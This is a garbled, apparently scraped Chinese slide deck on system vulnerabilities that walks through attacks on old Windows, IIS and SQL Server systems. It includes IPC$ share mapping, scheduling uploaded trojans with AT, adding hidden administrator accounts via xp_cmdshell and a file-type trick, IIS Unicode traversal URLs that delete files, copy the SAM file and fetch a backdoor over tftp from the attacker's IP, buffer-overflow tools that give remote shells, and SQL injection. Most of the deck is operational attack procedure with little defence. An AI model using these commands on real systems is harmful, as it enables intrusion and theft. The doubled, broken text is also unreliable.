系统安全漏洞与安全检测ppt课件

1、一、漏洞形成一、漏洞形成后门：大型软件、系统的编写，是许多程序员共同完后门：大型软件、系统的编写，是许多程序员共同完成。他们是将一个软件或系统分成若干板块，分工编成。他们是将一个软件或系统分成若干板块，分工编写，然后再汇总，测试。最后，修补写，然后再汇总，测试。最后，修补,发布。在软件汇发布。在软件汇总时，为了测试方便，程序员总会留有后门；在测试总时，为了测试方便，程序员总会留有后门；在测试以后再进行修补以后再进行修补这些后门，如果一旦疏忽或是这些后门，如果一旦疏忽或是为某种目的故意留下），或是没有发现，软件发布后为某种目的故意留下），或是没有发现，软件发布后自然而然就成了漏洞。自然而然就成了

2、漏洞。程序若干板块之间的空隙：这里很容易出现连程序员程序若干板块之间的空隙：这里很容易出现连程序员的都没想到的漏洞！的都没想到的漏洞！网络协议：网络协议有网络协议：网络协议有TCP、UDP、ICMP、IGMP等。其等。其实，他们本来的用途是好的，但却被别人用于不乏的活动：实，他们本来的用途是好的，但却被别人用于不乏的活动：例如，例如，ICMP本来是用于寻找网络相关信息，后来却被用于本来是用于寻找网络相关信息，后来却被用于网络嗅探和攻击；网络嗅探和攻击；TCP本来是用于网络传输，后来却被用本来是用于网络传输，后来却被用于泄漏用户信息。于泄漏用户信息。程序员自身的素质：程序员的自身对网络安全认识的

3、不够，程序员自身的素质：程序员的自身对网络安全认识的不够，写出的程序自身就有漏洞。写出的程序自身就有漏洞。操作系统的漏洞操作系统的漏洞 弱口令弱口令弱口令就是用户的操作密码过于简单如弱口令就是用户的操作密码过于简单如123）。）。描画：本漏洞的危害性极强，它可以对系统服描画：本漏洞的危害性极强，它可以对系统服务器作任何的操作。主要是因为管理员的安全务器作任何的操作。主要是因为管理员的安全意识不足。测试目的：用本漏洞控制服务器系意识不足。测试目的：用本漏洞控制服务器系统。统。（1我们可以用爆力破解工具或扫描器我们可以用爆力破解工具或扫描器XSCAN等对机器进行扫描，可得到管理员等对机器进行扫描，

4、可得到管理员密码。只要拥有管理员级权限，就能完全共享密码。只要拥有管理员级权限，就能完全共享应用对方的机器，如下面的命令会将对方的应用对方的机器，如下面的命令会将对方的C盘映射为自己的盘映射为自己的X盘：盘：c:net use x: 目标主机的目标主机的IP地址地址c$ 密密码码 /user:用户名用户名其中其中c$为系统默认共享，依此类推，同样可为系统默认共享，依此类推，同样可以共享对方的以共享对方的d$,e$ （2运行AT命令 。C:net start scheduleSchedule 正在启动服务. Schedulw 服务启动成功。AT的语法：AT computername time c

5、ommand比如：AT computername time runnc.bat（3用远程控制终端7.新建一个文件类型,如一个you文件类型,在跳出的文件后缀中添上you.确定. 8.选中文件类型框中的you文件类型,点击下面的高级按钮,会出现文件操作对话框. 9.新建一种文件操作,操作名任意写,如ppp 10.该操作执行的命令如下: C:WINNTsystem32cmd.exe/cnetusermayi123456/add&C:WINNTsystem32cmd.exe/cnetlocalgroupadministrators aboutnt/add 完成后退出11.将c:的某个文件如p

6、ipi.txt改为pipi.txt.mayi,然后双击打开这个文件. 12.通常这个文件是打不开的,系统运行一会便没有了提示,但这时我们已经将用户mayi加上了,权限是管理员.13.前往,重新以aboutnt用户登录即可。 确认。如果你以Administrator登录，则需要进行口令猜测。 可以重复使用net命令，进行username和password猜测： c:net use xxx.xxx.xxx.xxxipc$ /user: 也可以使用脚本语句： open(IPC, net use xxx.xxx.xxx.xxxipc$ /user: );看看目标计算机上有那些共享的资源可以用下面命令：

7、 c:net view 目标计算机的IP地址 一旦IPC$共享顺利完成，下一个命令是： c:net use g: xxx.xxx.xxx.xxxc$ 得到了C$共享，并将该目录映射到g:，键入： c:dir g: /p 就能显示这个目录的所有内容。 测试测试 2：通过测试：通过测试1来上传木马控制服务器来上传木马控制服务器c:net use ipc$ ” /user:”admin”此时，此时，cmd会提示命令成功完成。这样你就和会提示命令成功完成。这样你就和建立了建立了IPC连接。连接。c:copy server.exe admin$上传上

8、传server.exe到到的的winnt目录，因为目录，因为winnt目目录里的东西比较多，管理员不容易发现，所以我们把录里的东西比较多，管理员不容易发现，所以我们把server.exe上传到里面。上传到里面。Server.exe是是janker写的写的winshell生成的程序，生成的程序，WinShell是一个运行在是一个运行在Windows平台上的平台上的Telnet服务器软件。服务器软件。c:net time 这个命令可以的到这个命令可以的到的系统时间，例如是的系统时间，例如是00：00c:at 00:01 ”s

9、erver.exe”cmd会提示新加了一项任务，其作业ID为1，这样远程系统会在00:01时运行server.exe。c:at 1这样可以查看ID为1的作业情况。c:net use ipc$ /delete退出IPC连接。如今，server.exe已经在远程主机上运行了。输入：c:telnet 21端口可以自己在winshell中设定）这样就成功的telnet到上了。应用平台的漏洞应用平台的漏洞 SQL SERVER存在的一些安全漏洞：存在的一些安全漏洞： “SA帐号弱口令帐号弱口令 描画：危害性极强，它可以完作控制系

10、统服务描画：危害性极强，它可以完作控制系统服务器。存在器。存在“sa帐户，密码就为空，帐户，密码就为空， 或密码过或密码过于简单，我们就可以通过扫描工具如于简单，我们就可以通过扫描工具如X-SCAN等得到密码，用测试：通过等得到密码，用测试：通过XP-CMDSHEll来来增加一个帐号增加一个帐号如：如：Xp_cmdshell net user testuser /ADD 然后在：然后在：Xp_cmdshell net localgroup Administrators testuser /ADD 这样攻击者就成功的在这样攻击者就成功的在SQL SERVER上增加了一个用户。上增加了一个用户。当

11、然远程的话，一般需要有1433口开着，通过MSSQL 客户端进行连接。最后你可以用添加的用户名通过远程控制终端来控制你服务器系统。 扩展存储过程参数解析漏洞：扩展存储过程参数解析漏洞：描画：危害性极强，它可以完作控制系统服务器。起主描画：危害性极强，它可以完作控制系统服务器。起主要问题是在要问题是在MSD中提供一个中提供一个API函数函数srv_paraminfo(),它是它是用来扩展存储过程调用时解释深入参数的，如用来扩展存储过程调用时解释深入参数的，如:exec , , .如要查询如要查询“c:winnt的目录树，可以如下表达：的目录树，可以如下表达：exec xp_dirtree c:w

12、innt但没有检查各个参数的长度，传递相当长的字符串，就但没有检查各个参数的长度，传递相当长的字符串，就存在了覆盖其他堆栈参数的可能导致缓冲溢出。存在了覆盖其他堆栈参数的可能导致缓冲溢出。目前已知受影响的扩展存储过程如下：目前已知受影响的扩展存储过程如下：xp_printstatements (xprepl.dll)xp_proxiedmetadata (xprepl.dll) xp_SetSQLSecurity (xpstar.dll) 关于关于openrowset和和opendatasource 描画：危害性极强，它可以完作控制系统服务器。利用描画：危害性极强，它可以完作控制系统服务器。利

13、用openrowset发送本地命令发送本地命令,通常我们的用法是包括通常我们的用法是包括MSDN的列子如下的列子如下 select*fromopenrowset(sqloledb,myserver;sa;,select*fromtable) 可见即使从字面意义上看可见即使从字面意义上看)openrowset只是作为一个快捷只是作为一个快捷的远程数据库访问，它必须跟在的远程数据库访问，它必须跟在select后面，也就是说需要后面，也就是说需要返回一个返回一个recordset 那么我们能不能利用它调用那么我们能不能利用它调用xp_cmdshell呢？答案是肯定呢？答案是肯定的！的！ select

14、*fromopenrowset(sqloledb,server;sa;,setfmtonlyoffexecmaster.dbo.xp_cmdshelldirc:) 必须加上必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设用来屏蔽默认的只返回列信息的设置，这样置，这样xp_cmdshell返回的返回的output集合就会提交给前面集合就会提交给前面的select显示，如果采用 默认设置，会返回空集合导致select出错，命令也就无法执行了。 那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作

15、 select*fromopenrowset(sqloledb,server;sa;,selectOK!execmaster.dbo.sp_addloginHectic) 这样，命令至少会返回selectOK!的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用 selectOK!的返回集合欺骗了本地的select请求，是命令能够正常执行，通理sp_addsrvrolemember和opendatasource也可以如此操作！ IIS漏洞漏洞 IIS unicode漏洞漏洞 描画描画:危害性极强，可以完全的控制服务器。对危害性极强，可以完全的控制

16、服务器。对于于IIS 5.0/4.0中文版，当中文版，当IIS收到的收到的URL请求的文请求的文件名中包含一个特殊的编码例如件名中包含一个特殊的编码例如“%c1%hh或者或者“%c0%hh”,它会首先将其解码变成它会首先将其解码变成:0 xc10 xhh，然后尝试打开这个文件，然后尝试打开这个文件，Windows 系统认为系统认为0 xc10 xhh可能是可能是unicode编码，因此它会首先将其编码，因此它会首先将其解码，假设解码，假设 0 x00= %hh (0 xc1 - 0 xc0) * 0 x40 + 0 xhh%c0%hh - (0 xc0 - 0 xc0) * 0 x40 + 0

17、 xhh例如，在例如，在Windows 2000 简体中文版简体中文版 + IIS 5.0 + SP1系统下测试：系统下测试：target/A.ida/%c1%00.idaIIS会报告说 .ida 文件找不到这里: （0 xc1-0 xc0)*0 x40+0 x00=0 x40=target/A.ida/%c1%01.idaIIS会报告说 A.ida 文件找不到这里: （0 xc1-0 xc0)*0 x40+0 x01=0 x41=A攻击者可以利用这个漏洞来绕过IIS的路径检查，去执行或者打开任意的文件。测试 1：下面的URL可能列出当前目录的内容：victim/scripts/.%c1%1c

18、.%c1%1c.%c1%1c.%c1%1c./winnt/system32/cmd.exe?/c+dir测试2 ：利用这个漏洞查看系统文件内容也是可能的：victim/a.asp/.%c1%1c./.%c1%1c./winnt/win.ini测试 3： 删除空的文件夹命令： x.x.x.x/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+rd+c:snowspider 测试 4：删除文件的命令: x.x.x.x/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+del+c:autoexec.bak测试 5： Copy文件

19、 xxx.xxx.xxx.xxx/scripts/.%c1%1c./winnt/system32/cmd.exe?/c+copy%20c:winntrepairsam._%20c: inetpubwwwroot 测试 5： 用木马用TFTP、NCX99）在地址栏里填入： /scripts/.%c1%1c./winnt/system32/cmd.exe?/c+tftp -i ?.?.?.? GET ncx99.exe c:inetpubscriptssr.exe ?.?.?.?为你自己的IP，留意：c:inetpubscriptssr.exe 其中c:inetpubsc

20、ripts为主机服务器目录，要看主机的具体情况而定，sr.exe为被改名的ncx99.exe自己选名字吧）。 然后等待.大概3分钟.IE浏览器左下角显示完成，红色漏斗消失，这时ncx99.exe已经上传到主机c:inetpubscripts目录了，您可以自己检查一下。 再使用如下调用来执行ncx99.exe(sr.exe) /scripts/.%c1%1c./winnt/system32/cmd.exe?/c+c:inetpubscriptssr.exe然后您就可以 telnet 99 printer远程缓存溢出漏洞远程缓存溢出漏洞缓存溢出

21、缓存溢出:缓存溢出又称为缓冲溢出，缓冲区指一个程序缓存溢出又称为缓冲溢出，缓冲区指一个程序的记忆范围的记忆范围(领域领域)，该领域是用来储存一些数据，如电脑，该领域是用来储存一些数据，如电脑程序信息，中间计算结果，或者输入参数。把数据调入缓程序信息，中间计算结果，或者输入参数。把数据调入缓冲区之前，程序应该验证缓冲区有足够的长度以容纳所有冲区之前，程序应该验证缓冲区有足够的长度以容纳所有这些调入的数据。否则，数据将溢出缓冲区并覆写在邻近这些调入的数据。否则，数据将溢出缓冲区并覆写在邻近的数据上，当它运行时，就如同改写了程序。的数据上，当它运行时，就如同改写了程序。假如溢出的数据是随意的，那它就

22、不是有效的程序代码，假如溢出的数据是随意的，那它就不是有效的程序代码，当它试图执行这些随意数据时，程序就会失败。另一方面，当它试图执行这些随意数据时，程序就会失败。另一方面，假如数据是有效的程序代码，程序将会按照数据提供者所假如数据是有效的程序代码，程序将会按照数据提供者所设定的要求执行代码和新的功能。设定的要求执行代码和新的功能。描画：漏洞的活动范围是：这是一个缓存溢出漏洞，这漏洞比以往的普通溢出存在更大的危害，主要有两方面的原因：*在缺省安全的情况下，该漏洞可以被来自网络的利用。*可以完全获得和控制存在该漏洞的网站服务器。一旦溢出成功，他可以做他想做的一些事情，包括：安装和运行程序，重新配

23、置服务，添加、改变或者删除文件和网页的内容等等。漏洞的起因是：WIN2K在网络打印ISAPI扩展上缺少足够的缓冲区检查，当一个发出特殊的请求服务时产生缓存溢出，可以让在本地系统执行任意代码。测试：通过IIS5HACK工具来检用信息iis5hack someip 80 3iis5 remote .printer overflow. writen by for test only, dont used to hack, :pconnecting.sending.Now you can telnet to 99 portgood luck :)c:telnet 63.110.

24、130.66 99Microsoft Windows 2000 Version 5.00.2195(C) Copyright 1985-2000 Microsoft Corp.C:WINNTsystem32已经进入目标主机，你想干什么就是你的事啦。 IIS Index Server(.ida/idq) ISAPI扩展远程溢出漏洞扩展远程溢出漏洞描画：危害性极强，它可以完作控制系统服务器。微软描画：危害性极强，它可以完作控制系统服务器。微软IIS缺省安装情况下带了一个索引服务器缺省安装情况下带了一个索引服务器(Index Server,在在Windows 2000下名为下名为Index Serv

25、ice).缺省安装时，缺省安装时，IIS支支持两种脚本映射：管理脚本持两种脚本映射：管理脚本(.ida文件文件)、Inernet数据查询数据查询脚本脚本(.idq文件文件)。这两种脚本都由一个。这两种脚本都由一个ISAPI扩展扩展 - idq.dll来处理和解释。由于来处理和解释。由于idq.dll在处理某些在处理某些URL请求时存在一请求时存在一个未经检查的缓冲区，如果攻击者提供一个特殊格式的个未经检查的缓冲区，如果攻击者提供一个特殊格式的URL,就可能引发一个缓冲区溢出。通过精心构造发送数就可能引发一个缓冲区溢出。通过精心构造发送数据，攻击者可以改变程序执行流程，执行任意代码。据，攻击者可

26、以改变程序执行流程，执行任意代码。 成功地利用这个漏洞成功地利用这个漏洞,攻击者可以远程获取攻击者可以远程获取Local System权限。权限。测试:来控制服务器。运行IDQGUI程序，出现一个窗口，填好要入侵的主机IP，选取所对应的系统SP补丁栏，其他设置不改，取默认。然后按右下角的IDQ益出键。 如果成功 如图 如果不成功会提示连接错误。连接成功后，我们打开WIN下的DOS状态，输入：NC -VV X.X.X.X 813 如果成功 如图 不成功的话可以在IDQGUI程序里换另一个SP补丁栏试试，如果都不行，就放弃。换其他漏洞机器。4、应用系统漏洞、应用系统漏洞 编程语言漏洞编程语言漏洞

27、MDB数据库可下载漏洞数据库可下载漏洞描画：危害性强，可以得到网站的所有内容。描画：危害性强，可以得到网站的所有内容。数据库中一般存放的是客户的帐号、密码以及数据库中一般存放的是客户的帐号、密码以及网站的中所有内容，如果得到了数据库，也就网站的中所有内容，如果得到了数据库，也就可以说得到了网站的一功，可以说得到了网站的一功， 原理，原理，WEB服务器遇到不能解释的文件是就给服务器遇到不能解释的文件是就给下载，下载， 测试：在地址栏输入测试：在地址栏输入someurl/path/name.mdb，你会发现你会发现name.mdb的数据库给下载下来。的数据库给下载下来。 SQL语句漏洞语句漏洞 描

28、画：危害性强，可以进入网站的后台应用程序。假描画：危害性强，可以进入网站的后台应用程序。假设没有过滤必要的字符：设没有过滤必要的字符： select*fromloginwhereuser=$HTTP_POST_VARSuserandpass=$HTTP_POST_VARSpass 我们就可以在用户框和密码框输入我们就可以在用户框和密码框输入1or1=1通过验证通过验证了。这是非常古董的方法了，这个语句会替换成这了。这是非常古董的方法了，这个语句会替换成这样：样：select*fromloginwhereuser=1or1=1andpass=1or1=1 因为因为or1=1成立，所以通过了。解决

29、的办法最好就是成立，所以通过了。解决的办法最好就是过滤所有不必要的字符，过滤所有不必要的字符， Jsp代码泄漏漏洞代码泄漏漏洞描画：危害性强，有可能可以查看到数据库帐号密码。描画：危害性强，有可能可以查看到数据库帐号密码。 在访问在访问JSP页面时，如果在请求页面时，如果在请求URL的的.jsp后缀后面加上一后缀后面加上一或多个或多个.、%2E、+、%2B、%5C、%20、%00 ，会泄露，会泄露JSP源代码。测试源代码。测试 :查看网页源代码查看网页源代码localhost:8080/index.jsp 服务器会正常解释。服务器会正常解释。 localhost:8080/index.jsp.

30、 只要在后面加上一个只要在后面加上一个.就会导致源就会导致源代码泄漏代码泄漏(可以通过浏览器的查看源代码看到可以通过浏览器的查看源代码看到)。 缘由：缘由： 由于由于Windows在处理文件名时，将在处理文件名时，将index.jsp和和index.jsp.认为是同一个文件。认为是同一个文件。 CGI漏洞 x.htw or qfullhit.htw or iirturnh.htw描画：危害性强，IIS4.0上有一个应用程序映射htw-webhits.dll，这是用于Index Server的点击功能的。尽管你不运行Index Server，该映射仍然有效。这个应用程序映射存在漏洞，允许入侵者读

31、取本地硬盘上的文件，数据库文件，和ASP源代码。 一个攻击者可以使用如下的方法来访问系统中文件的内容：victim/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=/././winnt/win.ini&cirestriction=none&cihilitetype=full就会在有此漏洞系统中win.ini文件的内容。 webhits.dll后接上./便可以访问到Web虚拟目录外的文件,下面我们来看个例子:somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile

32、=/././winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件. 在系统常见的.htw样本文件有: /iissamples/issamples/oop/qfullhit.htw/iissamples/issamples/oop/qsumrhit.htw/iissamples/exair/search/qfullhit.htw/iissamples/exair/search/qsumrhit.hw/iish

33、elp/iis/misc/iirturnh.htw 这个文件通常受loopback限制利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件,这样请求一个.htw文件:url/default.htm.htw?CiWebHitsFile=/././winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full这个请求肯定会失败，但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面也就是在.htw前面加上一串特

34、殊的数字( %20s ),就是在例子中default.htm后面加上这个代表空格的特殊数字,这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉由于%20s这个符号,所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。比如：url/default.htm%20s.htw?CiWebHitsFile=/././winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteTyp

35、e=Full 解决方法： hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted突出他们原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：victim/nosuchfile.htw如果你从服务器端获得如下信息：format of the QUERY_

36、STRING is invalid这就表示你存在这个漏洞。这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：/iissamples/issamples/oop/qfullhit.htw/iissamples/issamples/oop/qsumrhit.htw/isssamples/exair/search/qfullhit.htw/isssamples/exair/search/qsumrhit.htw/isshelp/iss/misc/iirturnh.htw (这个一

37、般为loopback使用) msadc 描画：描画：IIS的的MDAC组件存在一个漏洞可以导致攻组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在击者远程执行你系统的命令。主要核心问题是存在于于RDS Datafactory，默认情况下，它允许远程命令，默认情况下，它允许远程命令发送到发送到IIS服务器中，这命令会以设备用户的身份运服务器中，这命令会以设备用户的身份运行，其一般默认情况下是行，其一般默认情况下是SYSTEM用户。用户。 测试：结合木马来控制服务器测试：结合木马来控制服务器C:PerlBINperl -x msadc2.pl -h 目标机目标机xxx.xxx.xxx.xxx Please type the NT commandline you want to run (cmd /c assumed):ncmd /c 一